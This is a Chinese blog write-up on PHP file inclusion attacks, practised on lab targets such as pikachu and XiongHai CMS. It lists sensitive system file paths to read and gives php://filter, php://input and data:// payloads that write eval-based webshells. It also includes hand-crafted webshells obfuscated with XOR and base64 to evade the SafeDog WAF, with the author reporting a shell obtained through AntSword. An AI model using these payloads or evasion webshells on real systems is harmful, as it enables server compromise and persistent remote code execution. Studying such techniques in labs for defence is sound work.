文件包含漏洞

一、搭建熊海CMS靶场

在这里插入图片描述在这里插入图片描述在这里插入图片描述## 后台
在这里插入图片描述上传利用点
在这里插入图片描述

二、文件包含

1.使用条件

条件是开启allow_url_fopen=On,远程时还需开启allow_url_include=On
其次文件包含程序没有做包含文件过滤
如像下面是这种是没法利用的
在这里插入图片描述只有这种的才行,即没做白名单过滤
在这里插入图片描述在这里插入图片描述

2.文件包含特征

?page=a.php
?home=b.html
?file=content

3.检测方法

?file=…/…/…/…/etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/…/…/…/…/dir/file.txt

a.读取Windows系统敏感信息

C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IS配置文件
C:\windows\repair\sam //windows初次安装的密码
C:\program Files\mysq|\my.ini //Mysq|配置信息
C:\program Files\mysq|\data\mysq|\user.MYD //Mysql root
C:\windows\php.ini //php配置信息
apache+win2003 日志默认路径
D:\xampp\apache\logs\access.log、D:\xampp\apache\logs\error.log
IIS6.0+win2003 默认日志文件
C:\WINDOWS\system32\Lognames
IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\Lognames
未做过滤包含
在这里插入图片描述过滤包含,限制路径
在这里插入图片描述

b.读取linux系统敏感信息

/etc/passwd //linux用户信息
/usr/local/app/apache2/conf/httpd.conf //apache2配置文件
/usr/local/app/php5/lib/php.ini //php配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysq|配置文件
apache+Linux 日志默认路径
/etc/httpd/logs/access.log、/var/log/httpd/access.log
nginx 日志文件 /:根目录
/usr/local/nginx/logs

4.远程文件包含

在这里插入图片描述

file.txt内容:

<?php $file = fopen("a.php","w");fputs($file,'<?php phpinfo();?>')?>

在这里插入图片描述
在这里插入图片描述

<?php $file=fopen("a.php","w");fputs($file,'<?php @eval($_POST["fname"]);?>')?>

但是改成eval时被安全狗拦截了,应该需要做些绕过,这是后面的工作
在这里插入图片描述

5.无法上传文件时本地文件包含怎么执行命令

包含日志文件,通过BP抓包写入日志一句话木马

6.伪协议

file:// — 访问本地绝对路径文件 不受allow_url_fopen与allow_ulr_include影响
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)不受allow_url_fopen和allow_url_include影响(filter需要4个参数)
Filter参数
resoure=<要过滤的数据流> 必须参数,指定筛选过滤的数据流
read=<读链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔
write=<写链的筛选列表> 可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔
<;两个链的筛选列表> 任何没有以read=或write=作前缀的筛选器列表会视情况应用于读或写链
?page= php://filter/read=convert.base64-encode/resource=1.php
然后将获取的内容通过base64解码即可获取代码内容
在这里插入图片描述解码
在这里插入图片描述

a.伪协议过滤器

字符过滤器:
string.rot13 对字符串执行ROT13转换
string.toupper转换为大写
string.tolower 转换为小写
string.strip_tags 去除html和php标记
转换过滤器:
convert.base64-encode base64编码
convert.base64-decode base64解码
convert.quoted-printable-encode 将quoted-printable字符转为8-bit字符
cpnvert.quoted-printable-decode 将8-bit字符转为quoted-printable字符
压缩过滤器:
zlib.deflate和zlib.inflate
bzip2.compress和bzip2.decompress
加密过滤器:
mcrypt.tripledes和mdecrypt.tripledes等

b.使用php://filter/write绕过安全狗写入一句话木马

test.php

<?php
	$content=$_GET['txt'];
	file_put_contents($_GET['filename'],$content);
?>

http://127.0.0.1/pikachu/vul/fileinclude/test.php?filename=php://filter/write=convert.base64-decode/resource=2.txt&txt=PD9waHAgQGV2YWwoJF9QT1NUWyJmbmFtZSJdKTs/Pg==&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
执行后
在这里插入图片描述

c.使用php://input和bp绕过安全狗写入一句话木马

http://127.0.0.1/pikachu/vul/fileinclude/include.php?filename=php://input
内容长度下面

<?php fputs(fopen("3.php","w+"),"<?php phpinfo();?>");?>

在这里插入图片描述在这里插入图片描述

d.使用data://和base64编码执行一句话木马

http://127.0.0.1/pikachu/vul/fileinclude/include.php/?filename=data://text/plain,%20%3C?php%20phpinfo();?%3E?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
在这里插入图片描述

使用data://和bp写入木马
GET /pikachu/vul/fileinclude/include.php/?filename=data://text/plain,<?php+fputs(fopen('wb.php','w'),'<?php+eval($_GET["id"]);?>');?>
在这里插入图片描述
在这里插入图片描述

三、实操

自己写的一句话绕过安全狗
2.php

<?php
function MYPOST($s) {
  		return $_POST[$s];
	}
$zeo='dalao';
$$zeo=MYPOST("fname");
eval(``.$dalao);
?>

在这里插入图片描述在这里插入图片描述

可以看到它并未检测到我的写入和执行
使用菜刀连接报错,使用蚁剑可以
在这里插入图片描述在这里插入图片描述

但是有个问题,做成图片马时eval和POST会被过滤掉
像下面这种也是一样(YXNzZXJ0是assert),php5会过滤掉POST导致上传失败

$a=base64_decode("YXNzZXJ0");
$a($_POST['a']);

继续改造,使用以上代码和webshell-free-master的脚本php-venom-3.3.py改下后如下

<?php
class WGQO{
    function __destruct(){
        $this->UWMA('AxrLNz'^"\x20\xb\x1\x29\x3c\xe",array(('QL_}'^"\x34\x3a\x3e\x11")."(base64_decode('DQpmdW5jdGlvbiBNWVBPU1QoJHMpIHsNCiAgCQlyZXR1cm4gJF9QT1NUWyRzXTsNCgl9DQokemVvPSdkYWxhbyc7DQokJHplbz1NWVBPU1QoImZuYW1lIik7DQpldmFsKGBgLiRkYWxhbyk7DQo='));"));
        }
    function UWMA($OMSU,$EHIT){
        @array_map($OMSU,$EHIT);
    }}
$wgqo=new WGQO();
?>

sdcms成功上传
在这里插入图片描述

蚁剑成功获得shell
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值